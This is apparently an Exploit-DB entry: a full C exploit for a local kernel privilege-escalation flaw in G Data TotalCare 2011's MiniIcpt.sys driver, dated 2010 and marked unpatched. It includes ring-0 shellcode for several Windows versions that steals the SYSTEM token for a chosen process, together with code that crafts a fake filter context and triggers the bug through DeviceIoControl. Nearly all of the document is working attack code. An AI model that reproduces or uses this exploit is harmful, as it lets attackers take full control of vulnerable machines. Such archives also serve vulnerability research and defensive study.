G Data TotalCare 2011 – Local Kernel

  • 作者: Nikita Tarakanov
    日期: 2010-11-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/15461/
  • /*
    # Exploit Title: G Data TotalCare 2011 0day Local Kernel Exploit
    # Date: 2010-11-08 
    # Author: Nikita Tarakanov (CISS Research Team)
    # Software Link: http://www.gdata.de/
    # Version: up to date, version 21.1.0.5, MiniIcpt.sys version 1.0.8.9
    # Tested on: Win XP SP3
    # CVE : CVE-NO-MATCH
    # Status : Unpatched
    */
    #include <stdio.h>
    #include "winsock2.h"
    #include <windows.h>
    
    #pragma comment(lib, "wininet.lib")
    #pragma comment(lib, "Ws2_32.lib")
    
    
    static unsigned char win2k3_ring0_shell[] =
    /* _ring0 */
    "\xb8\x24\xf1\xdf\xff"
    "\x8b\x00"
    "\x8b\xb0\x18\x02\x00\x00"
    "\x89\xf0"
    /* _sys_eprocess_loop */
    "\x8b\x98\x94\x00\x00\x00"
    "\x81\xfb\x04\x00\x00\x00"
    "\x74\x11"
    "\x8b\x80\x9c\x00\x00\x00"
    "\x2d\x98\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    "\xeb\x21"
    /* _sys_eprocess_found*/
    "\x89\xc1"
    "\x89\xf0"
    
    /* _cmd_eprocess_loop */
    "\x8b\x98\x94\x00\x00\x00"
    "\x81\xfb\x00\x00\x00\x00"
    "\x74\x10"
    "\x8b\x80\x9c\x00\x00\x00"
    "\x2d\x98\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    /* _not_found */
    "\xcc"
    /* _cmd_eprocess_found
     * _ring0_end */
    
    /* copy tokens!$%!*/
    "\x8b\x89\xd8\x00\x00\x00"
    "\x89\x88\xd8\x00\x00\x00"
    "\x90";
    
    static unsigned char winvista_ring0_shell[] =
    /* _ring0 */
    "\x64\xa1\x24\x01\x00\x00"
    //"\x8b\x00"
    "\x8b\x70\x48"
    "\x89\xf0"
    /* _sys_eprocess_loop */
    "\x8b\x98\x9c\x00\x00\x00"
    "\x81\xfb\x04\x00\x00\x00"
    "\x74\x11"
    "\x8b\x80\xa4\x00\x00\x00"
    "\x2d\xa0\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    "\xeb\x21"
    /* _sys_eprocess_found*/
    "\x89\xc1"
    "\x89\xf0"
    
    /* _cmd_eprocess_loop */
    "\x8b\x98\x9c\x00\x00\x00"
    "\x81\xfb\x00\x00\x00\x00"
    "\x74\x10"
    "\x8b\x80\xa4\x00\x00\x00"
    "\x2d\xa0\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    /* _not_found */
    "\xcc"
    /* _cmd_eprocess_found
     * _ring0_end */
    
    /* copy tokens!$%!*/
    "\x8b\x89\xe0\x00\x00\x00"
    "\x89\x88\xe0\x00\x00\x00"
    "\x90";
    
    
    static unsigned char win7_ring0_shell[] =
    /* _ring0 */
    "\x64\xa1\x24\x01\x00\x00"
    "\x8b\x70\x50"
    "\x89\xf0"
    /* _sys_eprocess_loop */
    "\x8b\x98\xb4\x00\x00\x00"
    "\x81\xfb\x04\x00\x00\x00"
    "\x74\x11"
    "\x8b\x80\xbc\x00\x00\x00"
    "\x2d\xb8\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    "\xeb\x21"
    /* _sys_eprocess_found*/
    "\x89\xc1"
    "\x89\xf0"
    
    /* _cmd_eprocess_loop */
    "\x8b\x98\xb4\x00\x00\x00"
    "\x81\xfb\x00\x00\x00\x00"
    "\x74\x10"
    "\x8b\x80\xbc\x00\x00\x00"
    "\x2d\xb8\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    /* _not_found */
    "\xcc"
    /* _cmd_eprocess_found
     * _ring0_end */
    
    /* copy tokens!$%!*/
    "\x8b\x89\xf8\x00\x00\x00"
    "\x89\x88\xf8\x00\x00\x00"
    "\x90";
    
    
    static unsigned char winxp_ring0_shell[] =
    /* _ring0 */
    "\xb8\x24\xf1\xdf\xff"
    "\x8b\x00"
    "\x8b\x70\x44"
    "\x89\xf0"
    /* _sys_eprocess_loop */
    "\x8b\x98\x84\x00\x00\x00"
    "\x81\xfb\x04\x00\x00\x00"
    "\x74\x11"
    "\x8b\x80\x8c\x00\x00\x00"
    "\x2d\x88\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    "\xeb\x21"
    /* _sys_eprocess_found*/
    "\x89\xc1"
    "\x89\xf0"
    
    /* _cmd_eprocess_loop */
    "\x8b\x98\x84\x00\x00\x00"
    "\x81\xfb\x00\x00\x00\x00"
    "\x74\x10"
    "\x8b\x80\x8c\x00\x00\x00"
    "\x2d\x88\x00\x00\x00"
    "\x39\xf0"
    "\x75\xe3"
    /* _not_found */
    "\xcc"
    /* _cmd_eprocess_found
     * _ring0_end */
    
    /* copy tokens!$%!*/
    "\x8b\x89\xc8\x00\x00\x00"
    "\x89\x88\xc8\x00\x00\x00"
    "\x90";
    
    
    static unsigned char freeze[] =
    "\xeb\xfe";// jmp $0
    
    
    
    void craft_fake_flt_context(char* buff, LPVOID shellcode_addr)
    {
    	DWORD references = 1;	
    	DWORD *Entry;
    
    	Entry = (DWORD*)malloc(0x8);
    
    	Entry[0] = Entry;//Entry[0] == esi
    	Entry[1] = shellcode_addr;//[esi+4] - r0 shellcode
    
    	memcpy(buff-0x4, &references, 0x4);
    	memcpy(buff-0x28, Entry, 0x4);
    }
    
    static PCHAR fixup_ring0_shell (DWORD ppid, DWORD *zlen)
    {
    	DWORD dwVersion, dwMajorVersion, dwMinorVersion;
    
    	dwVersion = GetVersion ();
    	dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
    	dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));
    
    	printf("dwMajorVersion = %d dwMinorVersion %d\n", dwMajorVersion, dwMinorVersion);
    
    	switch (dwMajorVersion)
    	{
    		case 5:
    			switch (dwMinorVersion)
    			{
    				case 1:
    					*zlen = sizeof winxp_ring0_shell - 1;
    					*(PDWORD) &winxp_ring0_shell[55] = ppid;
    					return (winxp_ring0_shell);
    
    				case 2:
    					*zlen = sizeof win2k3_ring0_shell - 1;
    					*(PDWORD) &win2k3_ring0_shell[58] = ppid;
    					return (win2k3_ring0_shell);
    
    				default:
    					printf("GetVersion, unsupported version\n");
    					exit(EXIT_FAILURE);
    			}
    
    		case 6:
    			switch (dwMinorVersion)
    			{
    				case 0:
    					*zlen = sizeof winvista_ring0_shell - 1;
    					*(PDWORD) &winvista_ring0_shell[54] = ppid;
    					return (winvista_ring0_shell);
    
    				case 1:
    					*zlen = sizeof win7_ring0_shell - 1;
    					*(PDWORD) &win7_ring0_shell[54] = ppid;
    					return (win7_ring0_shell);
    
    				default:
    					printf("GetVersion, unsupported version\n");
    					exit(EXIT_FAILURE);
    			}
    
    		default:
    			printf("GetVersion, unsupported version\n");
    			exit(EXIT_FAILURE);
    	}
    
    	return (NULL);
    }
    
    
    int main(int argc, char **argv)
    {
    	HANDLE hDevice, hThread;
    	char *inbuff, *inbuffer;
    	DWORD *buff;
    	DWORD ioctl = 0x83170180, in = 0xC, out = 0x0C, len, zlen, ppid;
    	LPVOID zpage, zbuf;
    
    	printf ("G Data TotalCare 2011 0day Local Kernel Exploit\n"
    		"by: Nikita Tarakanov (CISS Research Team)\n");
    
    
    	if (argc <= 1)
    	{
    		printf("Usage: %s <processid to elevate>\n", argv[0]);
    		return 0;
    	}
    
    	ppid = atoi(argv[1]);
    
    	zpage = VirtualAlloc(NULL, 0x1000, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	if (zpage == NULL)
    	{
    		printf("VirtualAlloc failed\n");
    		return 0;
    	}
    	printf("Ring 0 shellcode at 0x%08X address\n", zpage, 0x10000);
    
    	memset(zpage, 0xCC, 0x1000);
    	zbuf = fixup_ring0_shell(ppid, &zlen);
    	memcpy((PCHAR)zpage, (PCHAR)zbuf, zlen);
    	memcpy((PCHAR)zpage + zlen, (PCHAR)freeze, sizeof (freeze) - 1);
    
    	
    	if ( (hDevice = CreateFileA("\\\\.\\MiniIcptControlDevice0", 
    						GENERIC_READ|GENERIC_WRITE,
    						0,
    						0,
    						OPEN_EXISTING,
    						0,
    						NULL) ) != INVALID_HANDLE_VALUE )
    	{
    		printf("Device succesfully opened!\n");
    	}
    	else
    	{
    		printf("Error: Error opening device \n");
    		return 0;
    	}	
    	
    	inbuff = (char *)malloc(0x1000);
    	memset(inbuff, 0x90, 0x1000);
    	buff = (DWORD *)malloc(0x1000);
    	if(!inbuff){
    		printf("malloc failed!\n");
    		return 0;
    	}
    
    	
    	inbuffer = inbuff + 0x40;
    	printf("crafting\n");
    	craft_fake_flt_context(inbuffer, zpage);
    	printf("deviceio!\n");
    	buff[0] = inbuffer;
    
    	DeviceIoControl(hDevice, ioctl, buff, in, buff, out, &len, NULL);
    	free(inbuff);
    
    	return 0;
    
    }